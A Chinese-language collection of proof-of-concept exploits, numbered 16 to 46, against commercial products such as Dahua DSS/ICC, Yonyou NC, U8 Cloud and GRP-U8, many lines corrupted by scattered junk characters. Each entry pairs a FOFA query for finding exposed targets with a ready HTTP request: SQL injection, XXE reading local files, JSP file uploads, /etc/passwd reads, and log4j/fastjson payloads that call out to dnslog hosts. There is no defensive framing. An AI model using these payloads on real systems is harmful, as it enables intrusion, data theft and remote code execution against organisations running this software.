% E. p6 d; Q; f# ^Accept-Encoding: gzip
+ d% S# s5 e8 s  C+ [

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
( B. W+ |' r4 }7 c3 s( S+ ^8 t9 ZGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
# |: s+ B; t3 x' E$ h9 NHost: x.x.x.x
. x* J& s) ^1 S% v& v! gUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 a0 U, Y4 R, O: i$ k, cConnection: close
Accept: */*
7 V+ L- g! R. L! m0 p+ O& c) ?' `Accept-Language: en
  @8 W" V1 G+ e; ]# PAccept-Encoding: gzip

+ }" e! k9 ~$ \8 f+ d1 t4 Z1 t! l2 C
+ S/ n( X3 c1 K! Q& r17. 大华 DSS itcBulletin SQL 注入
" D: }, t5 }# a) S5 j5 EFOFA：app="dahua-DSS"
* g$ Q+ a4 q1 C2 K6 APOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 n/ e) S" r1 `+ o8 H4 OContent-Length: 345
" C  _0 k8 g' O$ x' j8 J+ j( uAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
% U, Q3 \+ x. ~) n<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
/ b  n) O& h8 v4 x! B( T  </s11:Body>
# y0 }& C! ^; R0 {: H' u$ m</s11:Envelope>
5 r3 d# T4 B! f/ M  [" {

( g7 |2 |' t+ K) B5 V$ R0 n18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 ^: X& A9 D/ r% Z% v- lAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

2 O( _% m0 m! k! m3 R& ?6 E
& N% Y: y2 A# o+ Y
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
3 r2 z( i# A0 X2 E3 X9 x5 oFOFA：app="dahua-DSS"
+ g- ]  G1 i# d  C' rGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
& S8 }# ^! X7 @& B1 N( sHost:
" N  a  C1 x& k. @/ a. q5 qUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
8 v% t/ Q0 D# cConnection: keep-alive
% h2 {* {. ?1 p4 E* m9 N
* }! Z$ B; _. u( E* x
. J- ~6 a. P- u/ Q4 @20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
) Y3 C4 ?! M! Y* y* ], xHost: x.x.x.x
1 {: ?, l" G" o! E# O1 w4 m. dUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) E; t9 d, Y* \* I, ZConnection: close
Accept: */*
* J1 t  i, A7 R( q) CAccept-Language: en
Accept-Encoding: gzip

* E4 ]! q( o8 Y$ P
4 i, Y# O0 D2 ]( ?: m/ }21. 大华ICC智能物联综合管理平台random远程代码执行
# |7 Z. f( W, D/ Z9 |( mFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
0 A! M: I. I( r$ D6 q0 F3 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; {7 h" z/ a% F. z8 `4 GContent-Length: 161
! ]- W& Y& r8 S3 R2 }0 d: K5 \! _Accept-Encoding: gzip
Connection: close
/ k, E+ S' p( D* F2 i/ t7 A9 A5 @Content-Type: application/json;charset=utf-8
# z) z1 X/ E! w6 q' S0 \" G
! T$ H4 h' C! K9 G{
! x" ?( ~0 }' c* R% y"a":{
4 x9 `3 c/ u7 `   "@type":"com.alibaba.fastjson.JSONObject",
/ I' z% G) Y; o  p6 |$ W5 Q    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
' T2 @" P& z) ^, z6 @% L) K4 z}
4 I/ b. S* w7 d( G4 S' ^
' J) S" l; _+ d' z! Q" h
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
' W6 e. h) ~( t! p( Y5 [POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
0 d" g7 ~/ n6 v5 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 c) C( P5 e. C( T& A5 s. UContent-Type: application/json;charset=utf-8
4 l+ s3 B' n% n" s$ U
! w5 v& V3 ~! g7 V* j0 U, C{
"loginName":"${jndi:ldap://dnslog}"
}
. a( g; X# @7 |+ N. m
. x% E9 Z' b; J) ]# p
7 r# j9 j( j3 Z/ F2 {% e0 X* O* a
7 I  ]$ _3 X* j  i6 f23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
/ l3 Y6 s0 n2 `7 h$ UPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
' O3 P  {- L% l  u1 V- qHost: your-ip
0 C0 {0 x7 S, P' P  ^1 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 V* o# B' H+ F4 |Content-Type: application/json;charset=utf-8
! H8 W/ o% ^- N) H# mAccept-Encoding: gzip
9 l6 _; _: Z' U  x( pConnection: close
# ]! \# f' Z* `* K" r9 C" K
! ^, H3 G$ v1 H! v" U. Y{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
! E6 F0 c% T0 i) h3 R1 \       {"@type":"java.net.URL","val":"http://DNSLOG"}
# K" F' g4 Z- v/ g6 M* K7 f. j        }""
( I6 K$ ]$ p& t; U3 u0 H}
# T/ l$ B9 `0 |' w
0 ]8 }3 i. H! O, `2 v
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
9 P9 a$ ?! o% O8 oUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
; ?" `, S; K; B! C. ?6 k& QContent-Length: 449
; v4 t& f8 C0 r$ j. ~Accept: */*
Accept-Encoding: gzip
! V. G* I- D" s2 X$ S2 B8 E3 p* fContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% Y8 r3 f+ R- @; @
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
  K" ?- ~& ]$ b5 D0 ^9 }+ p$ BContent-Type: text/plain
. m' \3 g9 p9 Z. N' a
# f. ], l, F% F2 v5 \2 Q<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
( D- e: I8 {( \/ h2 Z-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
2 u/ s8 }+ _; M  `  K$ j. Q; }
% {( |' ?; b) T) m! R
' S% l1 L  V, M% Q25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
8 f; T. t4 Y2 U5 ]7 n. x6 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
, Y) \  ~  d7 r# b. U  F. _8 z* ?Accept-Encoding: gzip, deflate
2 b& x( P9 g" D" b. _; V$ x1 q- ]Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

* x1 ~# J, i2 i: v" \$ ntype=1&dsname=ldap://dnslog
6 a/ e# U( p: t; I" _8 N  k7 F
+ d+ Y0 U. ?# s; S% ]

" `0 r4 y" \" f' h# q/ c' q/ ^26. 用友NC linkVoucher SQL注入
+ e  C9 h* g# [FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 h; c4 ]5 h8 R( tContent-Type: application/x-www-form-urlencoded
. E& P0 o1 p. e, Z5 j/ L  zAccept-Encoding: gzip, deflate
  e6 Z9 Q9 w% A* A$ B5 D) E+ `) `6 OAccept: */*
0 {  b- j' ~1 sConnection: keep-alive
3 @% l+ [  b* I4 s. d! o' ^
0 J% `# ?! v" G* e) C
4 R& c- j' N9 c9 i8 l/ o27. 用友 NC showcontent SQL注入
2 A5 V. q4 g# h2 t9 T; ZFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
% F! N  u9 U: [% M. _: b4 D8 D3 CHost: your-ip
  q+ d+ @% o. v, R. B: F& h: yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, s/ m; i2 A; o2 M* @Accept-Encoding: identity
* ~9 s3 x" ^3 f( h6 N9 YConnection: close
8 m8 q! Q, j! P5 OContent-Type: text/xml; charset=utf-8
. L7 j$ O$ P- j# m

: A6 t* t4 T2 {! D, X! }28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
8 u* i+ M" p1 N/ j% b* q- \& e. NPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
6 F2 A: k8 t, x+ e1 s/ zHost: x.x.x.x
. A; @% J- X7 C# AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
+ l/ V: ?3 w: Y$ [0 u5 wAccept-Encoding: gzip

- }# r1 [# \: K- ^9 A9 e------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

( s. ^- ?# S3 ^0 L0 l<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
# h2 I+ z7 E' F7 u, y

/uapim/static/pages/nc/head.jsp
- s4 l% \% H. e' v8 @" G
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
  C* T6 P* X& o, D) V/ LGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
# ~: Y1 Z: a, p& IConnection: keep-alive


$ Q( M) G- O7 H- v( P! @30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, @2 m6 a* X# ^$ wPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
$ z0 |/ U. Z( g; B- X* vHost: your-ip
: V) q( Q3 z) z3 J) e; YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( f2 Z* Z+ f0 m& g* r, WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
' R4 g: p* Y5 i# F7 g8 q# U; P/ X  X------WebKitFormBoundaryH970hbttBhoCyj9V--

, L' A3 ?8 c6 F  x2 q
3 U$ d; X. Z1 H4 Z31. 用友NC runStateServlet SQL注入
# u. L4 L( O/ S( C8 @0 u9 [version<=6.5
' ^5 F/ u( K3 k. \FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" G8 }/ {+ L: X! r: L: Z9 P
, N6 q0 |* I" ^; D1 t( i8 U. d+ `
32. 用友NC complainbilldetail SQL注入
" c9 g1 ^, t3 u& Y+ P8 D) I- Xversion= NC633、NC65
0 g' x+ L  H% |6 L& n( }FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 \( _1 H( U( PContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
$ \5 d2 j2 ?4 CConnection: keep-alive


33. 用友NC downTax/download SQL注入
! Q; ^; A3 E% f3 B( G8 H8 b" rversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 c. [6 c7 u7 sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 G3 a6 t: H- @5 OContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ m& \# O8 W3 E' g: \# mAccept: */*
Connection: keep-alive

( }* Q0 ~3 F! u1 I
/ O7 W+ N" i' y8 X$ \) j34. 用友NC warningDetailInfo接口SQL注入
4 K2 N5 T' y5 r; v* XFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 ^- D% k6 o6 AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ ]( Z) x  J% t; T0 q

4 r) J7 U: V" O2 G7 {( U) e35. 用友NC-Cloud importhttpscer任意文件上传
4 T6 F+ h" r( J( oFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
! I. c) k, O+ G9 h! h1 v3 v! DUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
; s+ X) {5 Z- W. nAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
  }) L% `1 @. I9 j5 G; l: p1 }" ^
# C0 f1 b( M1 I! F$ l/ k" A! `
36. 用友NC-Cloud soapFormat XXE
5 c. ?+ L  \. bFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
8 f  J$ |2 v% S  s  WPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
7 r, g- f- w$ Q7 o' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
9 o2 R' d# n1 n1 g7 W; |1 mContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  X0 ]0 k# _0 z( S) uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% r, J( Y( u; M' nConnection: close
0 B7 b* A  i$ G% fContent-Type: application/x-www-form-urlencoded
7 Q3 h3 I. a; x9 k8 i& H1 BUpgrade-Insecure-Requests: 1
/ w; H5 J5 E& s4 E1 i- ~* V
- E# K  d; q6 U' [: ~msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

) a$ ~5 v9 e5 n) W4 {0 `  ~
& b% s6 ]. b3 b* Z37. 用友NC-Cloud IUpdateService XXE
, m0 d4 V+ @9 |! |FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
: T( t% i; c: FPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: p+ s! ?2 c( b$ V/ {) XContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; w( q8 `' j5 {, g8 W  W" [" b6 fAccept-Language: zh-CN,zh;q=0.9
2 D- r+ r1 q& IConnection: close
Content-Type: text/xml;charset=UTF-8
& D* v4 M7 ^* n+ Q; ESOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

# t- ~4 D# K- I* n5 N2 h( t<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
% P5 w: k8 x/ f; s- f  `<soapenv:Body>
<iup:getResult>
- D5 ]- g& L. S2 R) {( l<!--type: string-->
& C; o9 ]: S5 h5 G<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
' B* y% f, N8 r3 P- i<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
3 R- G8 z8 T& i! R/ j</soapenv:Envelope>
% l0 t+ ?1 O7 w/ \% s# h; b* H

9 z* G( w, H0 n
4 _  |3 ^  E4 n# Z. b4 g  d7 Q0 a38. 用友U8 Cloud smartweb2.RPC.d XXE
% ^( h3 @$ @' q' f7 E1 lFOFA：app="用友-U8-Cloud"
5 z0 O: K3 X  @7 y' K- p# M3 B* APOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
7 K9 ?3 ~1 W4 O9 o- B. F3 CHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
8 g! w4 @' m0 V+ V# ?* OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
- d+ [0 v7 K: H1 T/ K0 RAccept-Language: zh-CN,zh;q=0.9
Connection: close
- G. i4 n1 R  @2 G7 J4 qContent-Type: application/x-www-form-urlencoded

2 u& }# ]$ b& \# B' `; C- N1 {__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

8 a' ?5 L7 Y) H4 ^8 D# o. L7 `
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
6 ?: _7 D+ L5 `' ZPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
# F: t5 L6 a, n# WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
# z' q; Y$ _* F! X1 w# o. GContent-Length: 85
Accept: */*
* x5 @0 A  y% `. lAccept-Language: en
) y# m9 b% D! s  j' }Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
) m+ ]5 ^# y6 x
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
5 }% m3 c6 n. p7 n

40. 用友U8-Cloud XChangeServlet XXE
  ~2 |7 F2 v% C$ o8 n7 wFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
! w2 k2 @; z2 P/ eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
' Q( l% z, x& zConnection: close
8 i4 u$ f( u( _0 c
( _+ e3 k. |2 Q6 i4 |, J5 |7 H<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

  W/ |+ T7 Y' y! p! [8 X9 v
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 y2 [1 z8 X9 }9 k: r4 p* QFOFA：app="用友-U8-Cloud"
7 f8 i4 ?4 d: ^! j" IGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
+ M1 [% K" ^; _  ~. R% e: T, w& ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
( |" b8 ?: w+ K' F: n" F. l6 OAccept-Encoding: gzip
Connection: close
6 z1 j, t2 w7 l! b* u7 T+ h

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
8 A3 l! w0 z' q( M2 {& G2 qPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
8 J; T* U. F, z- R6 ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
8 X) o6 |" z; V8 [3 X( t! l# {6 _
PAYLOAD


( v" n* T9 i  L% y+ M( \" a- ^http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

$ H0 H" n8 ]! |7 G  e( X43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
: v0 k0 w- j6 u. ]+ iPOST /services/userInfoWeb HTTP/1.1
( n: }( p" J( OHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! H  d6 W: Y. }- k* hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
3 x+ }7 H- a  _/ h) W) h' B* G, yContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
1 w2 D9 i" w: G% U/ W5 [   <soapenv:Header/>
% y5 P) T2 r+ f$ A. W( M   <soapenv:Body>
4 ?# t! X. q% J4 ?2 v' Z      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
- b* @, u8 J# M: n# |   </soapenv:Body>
</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ B* g, h, \2 gFOFA:app="用友-GRP-U8"
6 L2 Z" ~: W( }GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
/ U8 v# i( I0 }* D- f$ g( uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& T- r! K$ O9 r6 Y2 e7 J: ?& \Connection: close


, d; x) \+ X4 y0 ]3 G( n5 ]- Y45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
/ {  j" \. m+ O! I7 VHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
- q2 D  |  j: V8 j* w: Q' h7 v/ }' pContent-Length: 161
1 o3 Q$ P5 l6 o* A2 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
; }# n- M4 R, z7 g2 l4 ~<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


1 s* Y2 W: \/ F5 }( b46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" R7 @% P' F1 C# E! K$ h* `& f4 g3 EFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
. y2 X. h' _- W/ EHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
* p8 ?0 r- l# o- ?( t- f3 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 t9 Y! l# k+ |- g8 i/ g+ m3 ]Connection: close
